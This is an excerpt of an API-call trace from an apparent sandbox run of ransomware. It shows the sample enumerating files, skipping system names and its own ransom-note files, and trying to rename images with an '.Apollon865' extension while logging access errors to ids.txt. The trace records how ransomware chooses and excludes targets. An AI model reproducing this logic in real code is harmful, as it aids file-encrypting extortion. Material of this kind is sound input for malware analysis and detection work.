	[0080.087] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp MoveFileEx error 5\r\n") returned 111
	[0080.087] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp MoveFileEx error 5\r\n") returned 111
	[0080.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.087] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x49b7
	[0080.087] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.088] CloseHandle (hObject=0x9c) returned 1
	[0080.088] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.088] CloseHandle (hObject=0x0) returned 0
	[0080.088] CloseHandle (hObject=0x0) returned 0
	[0080.088] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2=".") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="..") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="windows") returned -1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="bootmgr") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="temp") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="pagefile.sys") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="boot") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="ids.txt") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="ntuser.dat") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="perflogs") returned 1
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2="MSBuild") returned 1
	[0080.088] lstrlenW (lpString="usertile16.bmp") returned 14
	[0080.088] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile15.bmp") returned 82
	[0080.088] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile16.bmp" | out: lpString1="usertile16.bmp") returned="usertile16.bmp"
	[0080.088] lstrlenW (lpString="usertile16.bmp") returned 14
	[0080.088] lstrlenW (lpString="Apollon865") returned 10
	[0080.088] lstrcmpiW (lpString1="tile16.bmp", lpString2="Apollon865") returned 1
	[0080.088] lstrlenW (lpString=".dll") returned 4
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2=".dll") returned 1
	[0080.088] lstrlenW (lpString=".lnk") returned 4
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2=".lnk") returned 1
	[0080.088] lstrlenW (lpString=".ini") returned 4
	[0080.088] lstrcmpiW (lpString1="usertile16.bmp", lpString2=".ini") returned 1
	[0080.089] lstrlenW (lpString=".sys") returned 4
	[0080.089] lstrcmpiW (lpString1="usertile16.bmp", lpString2=".sys") returned 1
	[0080.089] lstrlenW (lpString="usertile16.bmp") returned 14
	[0080.089] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp.Apollon865") returned 93
	[0080.089] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile16.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile16.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.089] GetLastError () returned 0x5
	[0080.089] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp MoveFileEx error 5\r\n") returned 111
	[0080.089] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp MoveFileEx error 5\r\n") returned 111
	[0080.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.089] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4a26
	[0080.089] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.090] CloseHandle (hObject=0x9c) returned 1
	[0080.092] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.092] CloseHandle (hObject=0x0) returned 0
	[0080.092] CloseHandle (hObject=0x0) returned 0
	[0080.092] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1
	[0080.092] lstrcmpiW (lpString1="usertile17.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.092] lstrcmpiW (lpString1="usertile17.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.092] lstrcmpiW (lpString1="usertile17.bmp", lpString2=".") returned 1
	[0080.092] lstrcmpiW (lpString1="usertile17.bmp", lpString2="..") returned 1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="windows") returned -1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="bootmgr") returned 1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="temp") returned 1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="pagefile.sys") returned 1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="boot") returned 1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="ids.txt") returned 1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="ntuser.dat") returned 1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="perflogs") returned 1
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2="MSBuild") returned 1
	[0080.093] lstrlenW (lpString="usertile17.bmp") returned 14
	[0080.093] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile16.bmp") returned 82
	[0080.093] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile17.bmp" | out: lpString1="usertile17.bmp") returned="usertile17.bmp"
	[0080.093] lstrlenW (lpString="usertile17.bmp") returned 14
	[0080.093] lstrlenW (lpString="Apollon865") returned 10
	[0080.093] lstrcmpiW (lpString1="tile17.bmp", lpString2="Apollon865") returned 1
	[0080.093] lstrlenW (lpString=".dll") returned 4
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2=".dll") returned 1
	[0080.093] lstrlenW (lpString=".lnk") returned 4
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2=".lnk") returned 1
	[0080.093] lstrlenW (lpString=".ini") returned 4
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2=".ini") returned 1
	[0080.093] lstrlenW (lpString=".sys") returned 4
	[0080.093] lstrcmpiW (lpString1="usertile17.bmp", lpString2=".sys") returned 1
	[0080.093] lstrlenW (lpString="usertile17.bmp") returned 14
	[0080.093] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp.Apollon865") returned 93
	[0080.093] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile17.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile17.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.094] GetLastError () returned 0x5
	[0080.094] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp MoveFileEx error 5\r\n") returned 111
	[0080.094] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp MoveFileEx error 5\r\n") returned 111
	[0080.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.094] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4a95
	[0080.094] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.094] CloseHandle (hObject=0x9c) returned 1
	[0080.094] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.094] CloseHandle (hObject=0x0) returned 0
	[0080.094] CloseHandle (hObject=0x0) returned 0
	[0080.094] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1
	[0080.094] lstrcmpiW (lpString1="usertile18.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.094] lstrcmpiW (lpString1="usertile18.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.094] lstrcmpiW (lpString1="usertile18.bmp", lpString2=".") returned 1
	[0080.094] lstrcmpiW (lpString1="usertile18.bmp", lpString2="..") returned 1
	[0080.094] lstrcmpiW (lpString1="usertile18.bmp", lpString2="windows") returned -1
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2="bootmgr") returned 1
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2="temp") returned 1
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2="pagefile.sys") returned 1
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2="boot") returned 1
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2="ids.txt") returned 1
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2="ntuser.dat") returned 1
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2="perflogs") returned 1
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2="MSBuild") returned 1
	[0080.095] lstrlenW (lpString="usertile18.bmp") returned 14
	[0080.095] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile17.bmp") returned 82
	[0080.095] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile18.bmp" | out: lpString1="usertile18.bmp") returned="usertile18.bmp"
	[0080.095] lstrlenW (lpString="usertile18.bmp") returned 14
	[0080.095] lstrlenW (lpString="Apollon865") returned 10
	[0080.095] lstrcmpiW (lpString1="tile18.bmp", lpString2="Apollon865") returned 1
	[0080.095] lstrlenW (lpString=".dll") returned 4
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2=".dll") returned 1
	[0080.095] lstrlenW (lpString=".lnk") returned 4
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2=".lnk") returned 1
	[0080.095] lstrlenW (lpString=".ini") returned 4
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2=".ini") returned 1
	[0080.095] lstrlenW (lpString=".sys") returned 4
	[0080.095] lstrcmpiW (lpString1="usertile18.bmp", lpString2=".sys") returned 1
	[0080.095] lstrlenW (lpString="usertile18.bmp") returned 14
	[0080.095] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp.Apollon865") returned 93
	[0080.095] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile18.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile18.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.096] GetLastError () returned 0x5
	[0080.096] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp MoveFileEx error 5\r\n") returned 111
	[0080.096] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp MoveFileEx error 5\r\n") returned 111
	[0080.096] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.096] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4b04
	[0080.096] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.097] CloseHandle (hObject=0x9c) returned 1
	[0080.097] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.097] CloseHandle (hObject=0x0) returned 0
	[0080.097] CloseHandle (hObject=0x0) returned 0
	[0080.097] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2=".") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="..") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="windows") returned -1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="bootmgr") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="temp") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="pagefile.sys") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="boot") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="ids.txt") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="ntuser.dat") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="perflogs") returned 1
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2="MSBuild") returned 1
	[0080.097] lstrlenW (lpString="usertile19.bmp") returned 14
	[0080.097] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile18.bmp") returned 82
	[0080.097] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile19.bmp" | out: lpString1="usertile19.bmp") returned="usertile19.bmp"
	[0080.097] lstrlenW (lpString="usertile19.bmp") returned 14
	[0080.097] lstrlenW (lpString="Apollon865") returned 10
	[0080.097] lstrcmpiW (lpString1="tile19.bmp", lpString2="Apollon865") returned 1
	[0080.097] lstrlenW (lpString=".dll") returned 4
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2=".dll") returned 1
	[0080.097] lstrlenW (lpString=".lnk") returned 4
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2=".lnk") returned 1
	[0080.097] lstrlenW (lpString=".ini") returned 4
	[0080.097] lstrcmpiW (lpString1="usertile19.bmp", lpString2=".ini") returned 1
	[0080.098] lstrlenW (lpString=".sys") returned 4
	[0080.098] lstrcmpiW (lpString1="usertile19.bmp", lpString2=".sys") returned 1
	[0080.098] lstrlenW (lpString="usertile19.bmp") returned 14
	[0080.098] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp.Apollon865") returned 93
	[0080.098] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile19.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile19.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.098] GetLastError () returned 0x5
	[0080.098] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp MoveFileEx error 5\r\n") returned 111
	[0080.098] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp MoveFileEx error 5\r\n") returned 111
	[0080.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.098] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4b73
	[0080.098] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.099] CloseHandle (hObject=0x9c) returned 1
	[0080.099] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.099] CloseHandle (hObject=0x0) returned 0
	[0080.099] CloseHandle (hObject=0x0) returned 0
	[0080.099] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2=".") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="..") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="windows") returned -1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="bootmgr") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="temp") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="pagefile.sys") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="boot") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="ids.txt") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="ntuser.dat") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="perflogs") returned 1
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2="MSBuild") returned 1
	[0080.099] lstrlenW (lpString="usertile20.bmp") returned 14
	[0080.099] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned 82
	[0080.099] lstrcpyW (in: lpString1=0x119e690, lpString2="usertile20.bmp" | out: lpString1="usertile20.bmp") returned="usertile20.bmp"
	[0080.099] lstrlenW (lpString="usertile20.bmp") returned 14
	[0080.099] lstrlenW (lpString="Apollon865") returned 10
	[0080.099] lstrcmpiW (lpString1="tile20.bmp", lpString2="Apollon865") returned 1
	[0080.099] lstrlenW (lpString=".dll") returned 4
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2=".dll") returned 1
	[0080.099] lstrlenW (lpString=".lnk") returned 4
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2=".lnk") returned 1
	[0080.099] lstrlenW (lpString=".ini") returned 4
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2=".ini") returned 1
	[0080.099] lstrlenW (lpString=".sys") returned 4
	[0080.099] lstrcmpiW (lpString1="usertile20.bmp", lpString2=".sys") returned 1
	[0080.099] lstrlenW (lpString="usertile20.bmp") returned 14
	[0080.100] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp.Apollon865") returned 93
	[0080.100] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile20.bmp"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\usertile20.bmp.apollon865"), dwFlags=0x1) returned 0
	[0080.100] GetLastError () returned 0x5
	[0080.100] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp MoveFileEx error 5\r\n") returned 111
	[0080.100] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp MoveFileEx error 5\r\n") returned 111
	[0080.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0080.100] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4be2
	[0080.100] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x6f, lpOverlapped=0x0) returned 1
	[0080.100] CloseHandle (hObject=0x9c) returned 1
	[0080.101] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0080.101] CloseHandle (hObject=0x0) returned 0
	[0080.101] CloseHandle (hObject=0x0) returned 0
	[0080.101] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2=".") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="..") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="windows") returned -1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="bootmgr") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="temp") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="pagefile.sys") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="boot") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="ids.txt") returned 1
	[0080.101] lstrcmpiW (lpString1="usertile21.bmp", lpString2="ntuser.dat") returned 1
